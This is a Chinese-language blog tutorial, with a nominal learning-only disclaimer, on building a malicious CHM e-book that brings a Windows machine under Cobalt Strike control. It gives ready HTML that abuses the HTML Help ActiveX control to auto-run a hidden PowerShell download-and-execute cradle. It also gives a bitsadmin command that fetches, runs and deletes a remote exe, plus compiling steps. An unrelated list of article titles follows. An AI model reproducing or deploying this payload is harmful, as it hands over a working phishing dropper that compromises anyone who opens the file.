当前位置: 首页 > news >正文

电子书(chm)-加载JS--CS上线

免责声明:

本文仅做技术交流与学习...

目录

cs--web投递

html(js)代码

 html生成chm工具--EasyCHM

 1-选择powershell 模式 生成

2-选择bitsadmin模式生成

chm反编译成html


cs--web投递

cs配置监听器--->攻击---->web投递---> 

端口选择没占用的,

URL路径到时候会在你的服务器自动生成,

选择监听器.

 

html(js)代码

<!DOCTYPE html><html><head><title>Mousejack replay</title><head></head><body>
command exec
<OBJECT id=x classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1 height=1>
<PARAM name="Command" value="ShortCut">
<PARAM name="Button" value="Bitmap::shortcut">
<PARAM name="Item1" value=",powershell.exe, -nop -w hidden -c IEX ((new-object net.webclient).downloadstring('http://IP:PORT/a'))">
<PARAM name="Item2" value="273,1,1">
</OBJECT>
<SCRIPT>
x.Click();
</SCRIPT>
</body></html>

生成后的初始命令:
1、powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://xxx/a'))"
2、cmd.exe /c bitsadmin /transfer 0218 http://xxx:xx/a %APPDATA%\0218.exe&%APPDATA%\0218.exe&del %APPDATA%\0218.exe

要注意三个地方:

<PARAM name="Item1" value=",powershell.exe, -nop -w hidden -c IEX ((new-object net.webclient).downloadstring('http://IP:PORT/a'))">

(1) value值的第一个为逗号

(2)生成的命令带双引号的话就去掉

(3)调用cmd或powershell程序后面要加逗号


 html生成chm工具--EasyCHM

生成chm之前提前把html放在一个文件夹里.

--->成功生成chm 


 1-选择powershell 模式 生成

 运行--->


2-选择bitsadmin模式生成

与上面方法一样

--生成payload后--->替换到html中---->编译生成chm---->执行

 

需要数据传输完成才能上线.


chm反编译成html

hh.exe软件windows自带.

hh.exe -decompile .\\html xxx.chm

相关文章:

  • 鸿蒙开发组件:【FA模型的Context】
  • 【html5的video标签在移动端的使用】【微信内部浏览器video自动播放】【vue-video-player】
  • 用ip link add link命令创建vlan子设备
  • 【踩坑】修复Ubuntu远程桌面忽然无法Ctrl C/V复制粘贴及黑屏
  • VMware清理拖拽缓存
  • Avalonia for VSCode
  • 电脑有线无线一起用怎么设置
  • 宕机了, redis如何保证数据不丢?
  • 【转载】使用 .NET Upgrade Assistant(升级助手)升级 .NET 老旧版本项目
  • python 逻辑控制语句、循环语句
  • SQL 表连接(表关联)
  • 爬虫补环境,ES6 Class在环境模拟中的应用与优势
  • 什么是Java中的单例模式?请列举几种常见的单例实现方式,并讨论其优缺点。请解释Java中的设计模式,并列举几种常见的设计模式及其应用场景。
  • 蓝鹏测控公司全长直线度算法项目多部门现场组织验收
  • 家用电器信息管理系统
  • 【每日笔记】【Go学习笔记】2019-01-10 codis proxy处理流程
  • Android开发 - 掌握ConstraintLayout(四)创建基本约束
  • hadoop入门学习教程--DKHadoop完整安装步骤
  • Mysql5.6主从复制
  • PAT A1050
  • Python打包系统简单入门
  • React Transition Group -- Transition 组件
  • Twitter赢在开放,三年创造奇迹
  • 前端_面试
  • 如何编写一个可升级的智能合约
  • 没有任何编程基础可以直接学习python语言吗?学会后能够做什么? ...
  • $(this) 和 this 关键字在 jQuery 中有何不同?
  • $NOIp2018$劝退记
  • (C)一些题4
  • (C语言)编写程序将一个4×4的数组进行顺时针旋转90度后输出。
  • (C语言)输入自定义个数的整数,打印出最大值和最小值
  • (function(){})()的分步解析
  • (大众金融)SQL server面试题(1)-总销售量最少的3个型号的车及其总销售量
  • (附源码)node.js知识分享网站 毕业设计 202038
  • (新)网络工程师考点串讲与真题详解
  • (原創) 是否该学PetShop将Model和BLL分开? (.NET) (N-Tier) (PetShop) (OO)
  • (轉貼) VS2005 快捷键 (初級) (.NET) (Visual Studio)
  • * 论文笔记 【Wide Deep Learning for Recommender Systems】
  • .Mobi域名介绍
  • .Net IOC框架入门之一 Unity
  • .NET 设计模式—简单工厂(Simple Factory Pattern)
  • .NET:自动将请求参数绑定到ASPX、ASHX和MVC(菜鸟必看)
  • .NET设计模式(8):适配器模式(Adapter Pattern)
  • /*在DataTable中更新、删除数据*/
  • @Builder注释导致@RequestBody的前端json反序列化失败,HTTP400
  • @column注解_MyBatis注解开发 -MyBatis(15)
  • @Repository 注解
  • @Transactional事务注解内含乾坤?
  • [2016.7.Test1] T1 三进制异或
  • [2021 蓝帽杯] One Pointer PHP
  • [ACL2022] Text Smoothing: 一种在文本分类任务上的数据增强方法
  • [BZOJ1010] [HNOI2008] 玩具装箱toy (斜率优化)
  • [C++] vector list 等容器的迭代器失效问题
  • [c++刷题]贪心算法.N01
  • [CSS]一文掌握